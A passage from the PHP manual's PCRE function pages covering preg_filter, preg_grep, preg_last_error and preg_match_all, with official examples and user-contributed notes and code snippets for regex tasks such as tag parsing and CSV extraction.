there are absolutely no "other differences" except in what the man page calls "Obsolete  ("basic'')  regular  expressions".  However, PHP doesn't appear to use the obsolete form of expressions in its POSIX functions.

PCRE even supports all of the POSIX named character classes such as [:space:].
jasen at treshna dot com 27-Oct-2011 12:11
there are several other differences

including different meaning for the symbols  ( [
different rules for which symbols need escaping (they can't be the same as both standard posix and extended posix)

you should read the full documentation for PCRE before chaging any posix regex to use pcre.


PCRE Functions

Table of Contents

  • preg_filter — Perform a regular expression search and replace
  • preg_grep — Return array entries that match the pattern
  • preg_last_error — Returns the error code of the last PCRE regex execution
  • preg_match_all — Perform a global regular expression match
  • preg_match — Perform a regular expression match
  • preg_quote — Quote regular expression characters
  • preg_replace_callback — Perform a regular expression search and replace using a callback
  • preg_replace — Perform a regular expression search and replace
  • preg_split — Split string by a regular expression

User Contributed Notes

Svoop 10-Feb-2009 02:43
I have written a short introduction and a colorful cheat sheet for Perl Compatible Regular Expressions (PCRE):

http://www.bitcetera.com/en/techblog/2008/04/01/regex-in-a-nutshell/
stronk7 at moodle dot org 13-Sep-2007 10:42
One comment about 5.2.x and the pcre.backtrack_limit:

Note that this setting wasn't present under previous PHP releases and the behaviour (or limit) under those releases was, in practise,  higher so all these PCRE functions were able to "capture" longer strings.

With the arrival of the setting, defaulting to 100000 (less than 100K), you won't be able to match/capture strings over that size using, for example "ungreedy" modifiers.

So, in a lot of situations, you'll need to raise that (very small IMO) limit.

The worst part is that PHP simply won't match/capture those strings over pcre.backtrack_limit and will it be 100% silent about that (I think that throwing some NOTICE/WARNING if raised could help a lot to developers).

There is a lot of people suffering this changed behaviour from I've read on forums, bugs and so on).

Hope this note helps, ciao :-)
steve at stevedix dot de 20-Jul-2004 02:17
Something to bear in mind is that regex is actually a declarative programming language like prolog : your regex is a set of rules which the regex interpreter tries to match against a string.   During this matching, the interpreter will assume certain things, and continue assuming them until it comes up against a failure to match, which then causes it to backtrack.  Regex assumes "greedy matching" unless explicitly told not to, which can cause a lot of backtracking.  A general rule of thumb is that the more backtracking, the slower the matching process.

It is therefore vital, if you are trying to optimise your program to run quickly (and if you can't do without regex), to optimise your regexes to match quickly.

I recommend the use of a tool such as "The Regex Coach" to debug your regex strings.

http://weitz.de/files/regex-coach.exe (Windows installer) http://weitz.de/files/regex-coach.tgz (Linux tar archive)


Perform a regular expression search and replace

  • « PCRE Functions
  • preg_grep »
  • PHP Manual
  • PCRE Functions
  • Perform a regular expression search and replace

preg_filter

(PHP 5 >= 5.3.0)

preg_filter — Perform a regular expression search and replace

Description

mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_filter() is identical to preg_replace() except it only returns the (possibly transformed) subjects where there was a match. For details about how this function works, read the preg_replace() documentation.

Return Values

Returns an array if the subject parameter is an array, or a string otherwise.

If no matches are found or an error occurred, an empty array is returned when subject is an array or NULL otherwise.

Examples

Example #1 Example comparing preg_filter() with preg_replace()

<?php
$subject = array('1', 'a', '2', 'b', '3', 'A', 'B', '4');
$pattern = array('/\d/', '/[a-z]/', '/[1a]/');
$replace = array('A:$0', 'B:$0', 'C:$0');

echo "preg_filter returns\n";
print_r(preg_filter($pattern, $replace, $subject));

echo "preg_replace returns\n";
print_r(preg_replace($pattern, $replace, $subject));
?>

The above example will output:

preg_filter returns
Array
(
    [0] => A:C:1
    [1] => B:C:a
    [2] => A:2
    [3] => B:b
    [4] => A:3
    [7] => A:4
)
preg_replace returns
Array
(
    [0] => A:C:1
    [1] => B:C:a
    [2] => A:2
    [3] => B:b
    [4] => A:3
    [5] => A
    [6] => B
    [7] => A:4
)

See Also

  • PCRE Patterns
  • preg_replace() - Perform a regular expression search and replace
  • preg_replace_callback() - Perform a regular expression search and replace using a callback
  • preg_grep() - Return array entries that match the pattern
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

fgmhhfg at gmail dot com 04-Mar-2014 07:44
As for the php 5.5.3 version, the example  turn out like:
Array
(
       [0] => A:1
       [1] => B:a
       ...
)
Anonymous 04-Mar-2014 07:36
As for the php 5.5.3 version, the example will turn out like:
Array
(
       [0]=>A:1
       [1]=>B:a
       ...
)
sajina_99 at hotmail dot de 25-Sep-2011 04:07
As I had to work with PHP5.2.X and needed preg_filter I wrote a quick and dirty workaround.

<?php
  if (!function_exists('preg_filter')) {

    function preg_filter($pattern, $replace, $subject, $limit = -1 , &$count = null) {

      if(!is_array($subject)) {
        $noArray = 1 ;
        $subject = array($subject);
      }

      $preg = preg_replace($pattern, $replace, $subject, $limit,  &$count);

      $diff = array_diff($preg, $subject);

      if($noArray == 1) $diff = implode($diff) ;

      return $diff ;

    }

  }
?>
MrBertie 31-Dec-2010 11:35
Another way to filter an array, and simply return the matching items: preg_grep!


Return array entries that match the pattern

  • « preg_filter
  • preg_last_error »
  • PHP Manual
  • PCRE Functions
  • Return array entries that match the pattern

preg_grep

(PHP 4, PHP 5)

preg_grep — Return array entries that match the pattern

Description

array preg_grep ( string $pattern , array $input [, int $flags = 0 ] )

Returns the array consisting of the elements of the input array that match the given pattern.

Parameters

pattern

The pattern to search for, as a string.

input

The input array.

flags

If set to PREG_GREP_INVERT, this function returns the elements of the input array that do not match the given pattern.

Return Values

Returns an array indexed using the keys from the input array.

Examples

Example #1 preg_grep() example

<?php
// return all array elements
// containing floating point numbers
$fl_array = preg_grep("/^(\d+)?\.\d+$/", $array);
?>

See Also

  • PCRE Patterns
  • preg_match_all() - Perform a global regular expression match
  • preg_filter() - Perform a regular expression search and replace
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

vickyssj7 at gmail dot com 05-Oct-2014 11:02
A very simple example to match multiple "."(dot) in an array value:-

<?php

     $array = array("23.32","22","12.009","23.43.43");
     print_r(preg_grep("/^(\d+)?\.\d+\.\d+$/",$array));

?>
Daniel Klein 15-Mar-2013 07:54
A shorter way to run a match on the array's keys rather than the values:

<?php
function preg_grep_keys($pattern, $input, $flags = 0) {
    return array_intersect_key($input, array_flip(preg_grep($pattern, array_keys($input), $flags)));
}
?>
keithbluhm at gmail dot com 22-Jan-2010 12:56
Run a match on the array's keys rather than the values:

<?php

function preg_grep_keys( $pattern, $input, $flags = 0 )
{
    $keys = preg_grep( $pattern, array_keys( $input ), $flags );
    $vals = array();
    foreach ( $keys as $key )
    {
        $vals[$key] = $input[$key];
    }
    return $vals;
}

?>
brian at cristina dot org 02-Sep-2008 10:31
I don't see it mentioned here but you can invert your match to only return array entries where the search values IS NOT found.  The format for it is...

<?php

$nomatch = preg_grep("/{$keyword}/i",$array,PREG_GREP_INVERT);

?>

Notice the PREG_GREP_INVERT.

That will result in an array ($nomatch) that contains all entries of $array where $keyword IS NOT found.

Hope that helps!

-b


Returns the error code of the last PCRE regex execution

  • « preg_grep
  • preg_match_all »
  • PHP Manual
  • PCRE Functions
  • Returns the error code of the last PCRE regex execution

preg_last_error

(PHP 5 >= 5.2.0)

preg_last_error — Returns the error code of the last PCRE regex execution

Description

int preg_last_error ( void )

Returns the error code of the last PCRE regex execution.

Example #1 preg_last_error() example

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
    print 'Backtrack limit was exhausted!';
}

?>

The above example will output:

Backtrack limit was exhausted!

Return Values

Returns one of the following constants (explained on their own page):

  • PREG_NO_ERROR
  • PREG_INTERNAL_ERROR
  • PREG_BACKTRACK_LIMIT_ERROR (see also pcre.backtrack_limit)
  • PREG_RECURSION_LIMIT_ERROR (see also pcre.recursion_limit)
  • PREG_BAD_UTF8_ERROR
  • PREG_BAD_UTF8_OFFSET_ERROR (since PHP 5.3.0)

User Contributed Notes

gk at anuary dot com 11-Jan-2014 11:21
In PHP 5.5 and above, getting the error message is as simple as:

<?php
echo array_flip(get_defined_constants(true)['pcre'])[preg_last_error()];
andre at koethur dot de 23-Jun-2013 06:00
Just an addition to my previous note: In unicode mode (with "u" modifier), PREG_BAD_UTF8_ERROR only reflects errors in the subject string. If the pattern itself contains invalid characters, preg_match() (or preg_match_all()) returns false but preg_last_error() returns 0 indicating PREG_NO_ERROR. Instead, php issues a warning: "preg_match(): Compilation failed: invalid UTF-8 string at offset 0"
andre at koethur dot de 18-Jun-2013 09:37
Here is a more advanced function to convert an error code to text:

<?php

function preg_errtxt($errcode)
{
    static $errtext;

    if (!isset($errtxt))
    {
        $errtext = array();
        $constants = get_defined_constants(true);
        foreach ($constants['pcre'] as $c => $n) if (preg_match('/_ERROR$/', $c)) $errtext[$n] = $c;
    }

    return array_key_exists($errcode, $errtext)? $errtext[$errcode] : NULL;
}

?>
Omer 12-Feb-2011 06:22
here's the code to check for all errors
<?php
if (preg_last_error() == PREG_NO_ERROR) {
    print 'There is no error.';
}
else if (preg_last_error() == PREG_INTERNAL_ERROR) {
    print 'There is an internal error!';
}
else if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
    print 'Backtrack limit was exhausted!';
}
else if (preg_last_error() == PREG_RECURSION_LIMIT_ERROR) {
    print 'Recursion limit was exhausted!';
}
else if (preg_last_error() == PREG_BAD_UTF8_ERROR) {
    print 'Bad UTF8 error!';
}
else if (preg_last_error() == PREG_BAD_UTF8_ERROR) {
    print 'Bad UTF8 offset error!';
}
?>
johan at bluemoonit dot net 24-May-2010 02:20
The above function pcre_error_deocde [sic] is not correct - not all of the used constants are errors constants. For example, when the error is actually PREG_BAD_UTF8_ERROR, the function outputs the text for PREG_SPLIT_OFFSET_CAPTURE.


Perform a global regular expression match

  • « preg_last_error
  • preg_match »
  • PHP Manual
  • PCRE Functions
  • Perform a global regular expression match

preg_match_all

(PHP 4, PHP 5)

preg_match_all — Perform a global regular expression match

Description

int preg_match_all ( string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]] )

Searches subject for all matches to the regular expression given in pattern and puts them in matches in the order specified by flags.

After the first match is found, the subsequent searches are continued on from end of the last match.

Parameters

pattern

The pattern to search for, as a string.

subject

The input string.

matches

Array of all matches in multi-dimensional array ordered according to flags.

flags

Can be a combination of the following flags (note that it doesn't make sense to use PREG_PATTERN_ORDER together with PREG_SET_ORDER):

PREG_PATTERN_ORDER

Orders results so that $matches[0] is an array of full pattern matches, $matches[1] is an array of strings matched by the first parenthesized subpattern, and so on.

<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
    "<b>example: </b><div align=left>this is a test</div>",
    $out, PREG_PATTERN_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>

The above example will output:

<b>example: </b>, <div align=left>this is a test</div>
example: , this is a test

So, $out[0] contains array of strings that matched full pattern, and $out[1] contains array of strings enclosed by tags.

PREG_SET_ORDER

Orders results so that $matches[0] is an array of first set of matches, $matches[1] is an array of second set of matches, and so on.

<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
    "<b>example: </b><div align=\"left\">this is a test</div>",
    $out, PREG_SET_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>

The above example will output:

<b>example: </b>, example:
<div align="left">this is a test</div>, this is a test

PREG_OFFSET_CAPTURE

If this flag is passed, for every occurring match the appendant string offset will also be returned. Note that this changes the value of matches into an array where every element is an array consisting of the matched string at offset 0 and its string offset into subject at offset 1.

If no order flag is given, PREG_PATTERN_ORDER is assumed.

offset

Normally, the search starts from the beginning of the subject string. The optional parameter offset can be used to specify the alternate place from which to start the search (in bytes).

Note:

Using offset is not equivalent to passing substr($subject, $offset) to preg_match_all() in place of the subject string, because pattern can contain assertions such as ^, $ or (?<=x). See preg_match() for examples.

Return Values

Returns the number of full pattern matches (which might be zero), or FALSE if an error occurred.

Changelog

Version | Description
5.4.0 | The matches parameter became optional.
5.3.6 | Returns FALSE if offset is higher than subject length.
5.2.2 | Named subpatterns now accept the syntax (?<name>) and (?'name') as well as (?P<name>). Previous versions accepted only (?P<name>).

Examples

Example #1 Getting all phone numbers out of some text.

<?php
preg_match_all("/\(?  (\d{3})?  \)?  (?(1)  [\-\s] ) \d{3}-\d{4}/x",
                "Call 555-1212 or 1-800-555-1212", $phones);
?>

Example #2 Find matching HTML tags (greedy)

<?php
// The \\2 is an example of backreferencing. This tells pcre that
// it must match the second set of parentheses in the regular expression
// itself, which would be the ([\w]+) in this case. The extra backslash is
// required because the string is in double quotes.
$html = "<b>bold text</b><a href=howdy.html>click me</a>";

preg_match_all("/(<([\w]+)[^>]*>)(.*?)(<\/\\2>)/", $html, $matches, PREG_SET_ORDER);

foreach ($matches as $val) {
    echo "matched: " . $val[0] . "\n";
    echo "part 1: " . $val[1] . "\n";
    echo "part 2: " . $val[2] . "\n";
    echo "part 3: " . $val[3] . "\n";
    echo "part 4: " . $val[4] . "\n\n";
}
?>

The above example will output:

matched: <b>bold text</b>
part 1: <b>
part 2: b
part 3: bold text
part 4: </b>

matched: <a href=howdy.html>click me</a>
part 1: <a href=howdy.html>
part 2: a
part 3: click me
part 4: </a>

Example #3 Using named subpattern

<?php

$str = <<<FOO
a: 1
b: 2
c: 3
FOO;

preg_match_all('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* This also works in PHP 5.2.2 (PCRE 7.0) and later, however
 * the above form is recommended for backwards compatibility */
// preg_match_all('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => a: 1
            [1] => b: 2
            [2] => c: 3
        )

    [name] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [1] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [digit] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [2] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)

See Also

  • PCRE Patterns
  • preg_match() - Perform a regular expression match
  • preg_replace() - Perform a regular expression search and replace
  • preg_split() - Split string by a regular expression
  • preg_last_error() - Returns the error code of the last PCRE regex execution

User Contributed Notes

DarkSide 15-Apr-2014 11:03
This is very useful to combine matches:
$a = array_combine($matches[1], $matches[2]);
ajeet dot nigam at icfaitechweb dot com 23-Jan-2014 03:34
Here http://tryphpregex.com/ is a  php based online regex editor which helps you test your regular expressions with real-time highlighting of regex match on data input.
fab 24-Sep-2012 06:14
Here is a function that replaces all occurrences of a number in a string by the number--

<?php
function decremente_chaine($chaine)
    {
        //récupérer toutes les occurrences de nombres et leurs indices
        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            //parcourir les occurrences
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // découper la chaine en 3 morceaux
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 // si c'est 10,100,1000 etc. on décale tout de 1 car le résultat comporte un chiffre de moins
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
fseverin at free dot fr 23-Sep-2012 02:52
As I intended to create for my own purpose a clean PHP class to act on XML files, combining the use of DOM and simplexml functions, I had that small problem, but very annoying, that the offsets in a path is not numbered the same in both.

That is to say, for example, if i get a DOM xpath object it appears like:
/ANODE/ANOTHERNODE/SOMENODE[9]/NODE[2]
and as a simplexml object would be equivalent to:
ANODE->ANOTHERNODE->SOMENODE[8]->NODE[1]

So u see what I mean? I used preg_match_all to solve that problem, and finally I got this after some hours of headlock (as I'm french the names of variables are in French sorry), hoping it could be useful to some of you:

<?php
function decrease_string($string)
    {
        /* retrieve all occurrences AND offsets of numbers in the original string: */

        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // cut the string in 3 pieces
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 /* if it's 10,100,1000, the problem is that the string gets shorter and it shifts all the offsets, so we have to decrease them of 1 */
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
marc 05-May-2012 12:48
Better use preg_replace to convert text in a clickable link with tag <a>

$html = preg_replace('"\b(http://\S+)"', '<a href="$1">$1</a>', $text);
satyavvd at ymail dot com 20-Sep-2011 01:08
Extract fields out of csv string : ( since before php5.3 you can't use str_getcsv function )
Here is the regex :

<?php

$csvData = <<<EOF
10,'20',"30","'40","'50'","\"60","70,80","09\\/18,/\"2011",'a,sdfcd'
EOF

$reg = <<<EOF
/
    (
        (
            ([\'\"])
            (
               (
                [^\'\"]
                |
                (\\\\.)
               )*
            )
            (\\3)
            |
            (
                [^,]
                |
                (\\\\.)
            )*
    ),)
    /x
EOF;

preg_match_all($reg,$csvData,$matches);

// to extract csv fields
print_r($matches[2]);
?>
john at mccarthy dot net 18-Feb-2011 08:21
I needed a function to rotate the results of a preg_match_all query, and made this. Not sure if it exists.

<?php
function turn_array($m)
{
    for ($z = 0;$z < count($m);$z++)
    {
        for ($x = 0;$x < count($m[$z]);$x++)
        {
            $rt[$x][$z] = $m[$z][$x];
        }
    }

    return $rt;
}
?>

Example - Take results of some preg_match_all query:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => Canmore
            [3] => Invermere
        )

    [1] => Array
        (
            [1] => AB
            [2] => AB
            [3] => BC
        )

    [2] => Array
        (
            [1] => 51.1746254
            [2] => 51.0938416
            [3] => 50.5065193
        )

    [3] => Array
        (
            [1] => -115.5719757
            [2] => -115.3517761
            [3] => -116.0321884
        )

    [4] => Array
        (
            [1] => T1L 1B3
            [2] => T1W 1N2
            [3] => V0B 2G0
        )

)

Rotate it 90 degrees to group results as records:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => AB
            [3] => 51.1746254
            [4] => -115.5719757
            [5] => T1L 1B3
        )

    [1] => Array
        (
            [1] => Canmore
            [2] => AB
            [3] => 51.0938416
            [4] => -115.3517761
            [5] => T1W 1N2
        )

    [2] => Array
        (
            [1] => Invermere
            [2] => BC
            [3] => 50.5065193
            [4] => -116.0321884
            [5] => V0B 2G0
        )
)
buuh 06-Dec-2010 11:03
if you want to extract all {token}s from a string:

<?php
$pattern = "/{[^}]*}/";
$subject = "{token1} foo {token2} bar";
preg_match_all($pattern, $subject, $matches);
print_r($matches);
?>

output:

Array
(
    [0] => Array
        (
            [0] => {token1}
            [1] => {token2}
        )

)
no at bo dot dy 08-Sep-2010 08:23
For parsing queries with entities use:

<?php
preg_match_all("/(?:^|(?<=\&(?![a-z]+\;)))([^\=]+)=(.*?)(?:$|\&(?![a-z]+\;))/i",
  $s, $m, PREG_SET_ORDER );
?>
avengis at gmail dot com 23-Sep-2009 11:25
The next function works with almost any complex xml/xhtml string

<?php
/**
* Find and close unclosed xml tags
**/
function close_tags($text) {
    $patt_open    = "%((?<!</)(?<=<)[\s]*[^/!>\s]+(?=>|[\s]+[^>]*[^/]>)(?!/>))%";
    $patt_close    = "%((?<=</)([^>]+)(?=>))%";
    if (preg_match_all($patt_open,$text,$matches))
    {
        $m_open = $matches[1];
        if(!empty($m_open))
        {
            preg_match_all($patt_close,$text,$matches2);
            $m_close = $matches2[1];
            if (count($m_open) > count($m_close))
            {
                $m_open = array_reverse($m_open);
                foreach ($m_close as $tag) $c_tags[$tag]++;
                foreach ($m_open as $k => $tag)    if ($c_tags[$tag]--<=0) $text.='</'.$tag.'>';
            }
        }
    }
    return $text;
}
?>
royaltm75 at gmail dot com 13-Sep-2009 11:44
I have received complains, that my html2a() code (see below) doesn't work in some cases.
It is however not the problem with algorithm or procedure, but with PCRE recursive stack limits.

If you use recursive PCRE (?R) you should remember to increase those two ini settings:

ini_set('pcre.backtrack_limit', 10000000);
ini_set('pcre.recursion_limit', 10000000);

But be warned: (from php.ini)

;Please note that if you set this value to a high number you may consume all
;the available process stack and eventually crash PHP (due to reaching the
;stack size limit imposed by the Operating System).

I have written this example mainly to demonstrate the power of PCRE LANGUAGE, not the power of it's implementation  :)

But if you like it, use it, of course on your own risk.
elyknosrac at gmail dot com 19-Jul-2009 12:51
Using preg_match_all I made a pretty handy function.

<?php

function reg_smart_replace($pattern, $replacement, $subject, $replacementChar = "$$$", $limit = -1)
{
    if (! $pattern || ! $subject || ! $replacement ) { return false; }

    $replacementChar = preg_quote($replacementChar);

    preg_match_all ( $pattern, $subject, $matches);

    if ($limit > -1) {
        foreach ($matches as $count => $value )
        {
            if ($count + 1 > $limit ) { unset($matches[$count]); }
        }
    }
    foreach ($matches[0] as $match) {
        $rep = ereg_replace($replacementChar, $match, $replacement);
        $subject = ereg_replace($match, $rep, $subject);
    }

    return $subject;
}
?>

This function can turn blocks of text into clickable links or whatever.  Example:

<?php
reg_smart_replace(EMAIL_REGEX, '<a href="mailto:$$$">$$$</a>', $description)
?>
will turn all email addresses into actual links.

Just substitute $$$ with the text that will be found by the regex.  If you can't use $$$ then use the 4th parameter $replacementChar
ad 01-Apr-2009 02:18
i have made up a simple function to extract a number from a string..

I am not sure how good it is, but it works.

It gets only the numbers 0-9, the "-", " ", "(", ")", "."

characters.. This is as far as I know the most widely used characters for a Phone number.

<?php
function clean_phone_number($phone) {
       if (!empty($phone)) {
               //var_dump($phone);
               preg_match_all('/[0-9\(\)+.\- ]/s', $phone, $cleaned);
               foreach($cleaned[0] as $k=>$v) {
                       $ready .= $v;
               }
               var_dump($ready);
               die;
               if (mb_strlen($cleaned) > 4 && mb_strlen($cleaned) <=25) {
                       return $cleaned;
               }
               else {
                       return false;
               }
       }
       return false;
}
?>
royaltm75 at NOSPAM dot gmail dot com 21-Feb-2009 11:55
The power of pregs is limited only by your *imagination* :)
I wrote this html2a() function using preg recursive match (?R) which provides quite safe and bulletproof html/xml extraction:
<?php
function html2a ( $html ) {
  if ( !preg_match_all( '
@
\<\s*?(\w+)((?:\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?)\>
((?:(?>[^\<]*)|(?R))*)
\<\/\s*?\\1(?:\b[^\>]*)?\>
|\<\s*(\w+)(\b(?:\'[^\']*\'|"[^"]*"|[^\>])*)?\/?\>
@uxis', $html = trim($html), $m, PREG_OFFSET_CAPTURE | PREG_SET_ORDER) )
    return $html;
  $i = 0;
  $ret = array();
  foreach ($m as $set) {
    if ( strlen( $val = trim( substr($html, $i, $set[0][1] - $i) ) ) )
      $ret[] = $val;
    $val = $set[1][1] < 0
      ? array( 'tag' => strtolower($set[4][0]) )
      : array( 'tag' => strtolower($set[1][0]), 'val' => html2a($set[3][0]) );
    if ( preg_match_all( '
/(\w+)\s*(?:=\s*(?:"([^"]*)"|\'([^\']*)\'|(\w+)))?/usix
', isset($set[5]) && $set[2][1] < 0
  ? $set[5][0]
  : $set[2][0]
  ,$attrs, PREG_SET_ORDER ) ) {
      foreach ($attrs as $a) {
        $val['attr'][$a[1]]=$a[count($a)-1];
      }
    }
    $ret[] = $val;
    $i = $set[0][1]+strlen( $set[0][0] );
  }
  $l = strlen($html);
  if ( $i < $l )
    if ( strlen( $val = trim( substr( $html, $i, $l - $i ) ) ) )
      $ret[] = $val;
  return $ret;
}
?>

Now let's try it with this example: (there are some really nasty xhtml compliant bugs, but ... we shouldn't worry)

<?php
$html = <<<EOT
some leftover text...
     < DIV class=noCompliant style = "text-align:left;" >
... and some other ...
< dIv > < empty>  </ empty>
  <p> This is yet another text <br  >
     that wasn't <b>compliant</b> too... <br   />
     </p>
 <div class="noClass" > this one is better but we don't care anyway </div ><P>
    <input   type= "text"  name ='my "name' value  = "nothin really." readonly>
end of paragraph </p> </Div>   </div>   some trailing text
EOT;

$a = html2a($html);
//now we will make some neat html out of it
echo a2html($a);

function a2html ( $a, $in = "" ) {
  if ( is_array($a) ) {
    $s = "";
    foreach ($a as $t)
      if ( is_array($t) ) {
        $attrs="";
        if ( isset($t['attr']) )
          foreach( $t['attr'] as $k => $v )
            $attrs.=" ${k}=".( strpos( $v, '"' )!==false ? "'$v'" : "\"$v\"" );
        $s.= $in."<".$t['tag'].$attrs.( isset( $t['val'] ) ? ">\n".a2html( $t['val'], $in."  " ).$in."</".$t['tag'] : "/" ).">\n";
      } else
        $s.= $in.$t."\n";
  } else {
    $s = empty($a) ? "" : $in.$a."\n";
  }
  return $s;
}
?>
This produces:
some leftover text...
<div class="noCompliant" style="text-align:left;">
  ... and some other ...
  <div>
    <empty>
    </empty>
    <p>
      This is yet another text
      <br/>
      that wasn't
      <b>
        compliant
      </b>
      too...
      <br/>
    </p>
    <div class="noClass">
      this one is better but we don't care anyway
    </div>
    <p>
      <input type="text" name='my "name' value="nothin really." readonly="readonly"/>
      end of paragraph
    </p>
  </div>
</div>
some trailing text
meaneye at mail dot com 15-Oct-2008 11:56
Recently I had to write search engine in hebrew and ran into huge amount of problems. My data was stored in MySQL table with utf8_bin encoding.

So, to be able to write hebrew in utf8 table you need to do
<?php
$prepared_text = addslashes(urf8_encode($text));
?>

But then I had to find if some word exists in stored text. This is the place I got stuck. Simple preg_match would not find text since hebrew doesnt work that easy. I've tried with /u and who kows what else.

Solution was somewhat logical and simple...
<?php
$db_text = bin2hex(stripslashes(utf8_decode($db_text)));
$word = bin2hex($word);

$found = preg_match_all("/($word)+/i", $db_text, $matches);
?>

I've used preg_match_all since it returns number of occurences. So I could sort search results acording to that.

Hope someone finds this useful!
MonkeyMan 07-Oct-2008 10:25
Here is a way to match everything on the page, performing an action for each match as you go. I had used this idiom in other languages, where its use is customary, but in PHP it seems to be not quite as common.

<?php
function custom_preg_match_all($pattern, $subject)
{
    $offset = 0;
    $match_count = 0;
    while(preg_match($pattern, $subject, $matches, PREG_OFFSET_CAPTURE, $offset))
    {
        // Increment counter
        $match_count++;

        // Get byte offset and byte length (assuming single byte encoded)
        $match_start = $matches[0][1];
        $match_length = strlen(matches[0][0]);

        // (Optional) Transform $matches to the format it is usually set as (without PREG_OFFSET_CAPTURE set)
        foreach($matches as $k => $match) $newmatches[$k] = $match[0];
        $matches = $new_matches;

        // Your code here
        echo "Match number $match_count, at byte offset $match_start, $match_length bytes long: ".$matches[0]."\r\n";

        // Update offset to the end of the match
        $offset = $match_start + $match_length;
    }

    return $match_count;
}
?>

Note that the offsets returned are byte values (not necessarily number of characters) so you'll have to make sure the data is single-byte encoded. (Or have a look at paolo mosna's strByte function on the strlen manual page).
I'd be interested to know how this method performs speedwise against using preg_match_all and then recursing through the results.
sledge NOSPAM 19-Jun-2008 10:46
Perhaps you want to find the positions of all anchor tags.  This will return a two dimensional array of which the starting and ending positions will be returned.

<?php
function getTagPositions($strBody)
{
    define(DEBUG, false);
    define(DEBUG_FILE_PREFIX, "/tmp/findlinks_");

    preg_match_all("/<[^>]+>(.*)<\/[^>]+>/U", $strBody, $strTag, PREG_PATTERN_ORDER);
    $intOffset = 0;
    $intIndex = 0;
    $intTagPositions = array();

    foreach($strTag[0] as $strFullTag) {
        if(DEBUG == true) {
            $fhDebug = fopen(DEBUG_FILE_PREFIX.time(), "a");
            fwrite($fhDebug, $fulltag."\n");
            fwrite($fhDebug, "Starting position: ".strpos($strBody, $strFullTag, $intOffset)."\n");
            fwrite($fhDebug, "Ending position: ".(strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag))."\n");
            fwrite($fhDebug, "Length: ".strlen($strFullTag)."\n\n");
            fclose($fhDebug);
        }
        $intTagPositions[$intIndex] = array('start' => (strpos($strBody, $strFullTag, $intOffset)), 'end' => (strpos($strBody, $strFullTag, $intOffset) + strlen($strFullTag)));
        $intOffset += strlen($strFullTag);
        $intIndex++;
    }
    return $intTagPositions;
}

$strBody = 'I have lots of <a href="http://my.site.com">links</a> on this <a href="http://my.site.com">page</a> that I want to <a href="http://my.site.com">find</a> the positions.';

$strBody = strip_tags(html_entity_decode($strBody), '<a>');
$intTagPositions = getTagPositions($strBody);
print_r($intTagPositions);

/*****
Output:

Array (
    [0] => Array (
        [start] => 15
        [end] => 53 )
    [1] => Array (
        [start] => 62
        [end] => 99 )
    [2] => Array (
        [start] => 115
        [end] => 152 )
 )
*****/
?>
spambegone at cratemedia dot com 21-Apr-2008 08:39
I found simpleXML to be useful only in cases where the XML was extremely small, otherwise the server would run out of memory (I suspect there is a memory leak or something?). So while searching for alternative parsers, I decided to try a simpler approach. I don't know how this compares with cpu usage, but I know it works with large XML structures. This is more a manual method, but it works for me since I always know what structure of data I will be receiving.

Essentially I just preg_match() unique nodes to find the values I am looking for, or I preg_match_all to find multiple nodes. This puts the results in an array and I can then process this data as I please.

I was unhappy though, that preg_match_all() stores the data twice (requiring twice the memory), one array for all the full pattern matches, and one array for all the sub pattern matches. You could probably write your own function that overcame this. But for now this works for me, and I hope it saves someone else some time as well.

// SAMPLE XML
<RETS ReplyCode="0" ReplyText="Operation Successful">
  <COUNT Records="14" />
  <DELIMITER value="09" />
  <COLUMNS>PropertyID</COLUMNS>
  <DATA>521897</DATA>
  <DATA>677208</DATA>
  <DATA>686037</DATA>
</RETS>

<?PHP

// SAMPLE FUNCTION
function parse_xml($xml) {

    // GET DELIMITER (single instance)
